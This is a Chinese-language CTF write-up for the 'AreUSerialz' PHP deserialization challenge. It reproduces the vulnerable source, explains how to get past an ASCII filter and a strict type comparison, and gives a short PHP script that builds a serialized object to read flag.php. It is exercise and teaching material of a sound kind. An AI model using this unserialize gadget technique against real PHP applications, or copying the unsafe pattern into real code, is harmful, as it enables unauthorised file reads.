BUU [网鼎杯 2020 青龙组]AreUSerialz
先看题目,是个php反序列化。源码如下。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) { //content长度限制<100,没设么用
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
------------------------------------------------------------------------------------------------
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
------------------------------------------------------------------------------------------------
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) { //均在ascii码表里面
$obj = unserialize($str);
}
}
注意点:
function __construct() {
$this->op = 2;
$this->filename = “flag.php”;
}
construct()里面给变量赋值方法
is_valid()
要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,%00字符的ASCII码为0,不符合上面的要求。
绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
url编码也不行,传进去自动解码,过不去if判断ascii码。
op=2 (int)绕过__destruct。因为类型不一样,int和string,不满足===。
echo file_get_contents("test.txt"); //把整个文件读入一个字符串中,并且回显
echo file_put_contents("test.txt","Hello World. Testing!"); //把一个字符串写入文件中。
链子:__destruct()->process(op= =2)->read()->output(),其他可以不用
这里为什么不是_ _construct开始呢?因为construct在我本地构造序列化字符串时候($j17 = new FileHandler();)就已经执行了,在服务器上面不会执行 _ _construct
exp:
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2; //只改了
$this->filename = "flag.php"; (这里也可以用伪协议) //这两行
$this->content = "Hello World!";
}
}
$j17 = new FileHandler();
echo urlencode(serialize($j17));
?>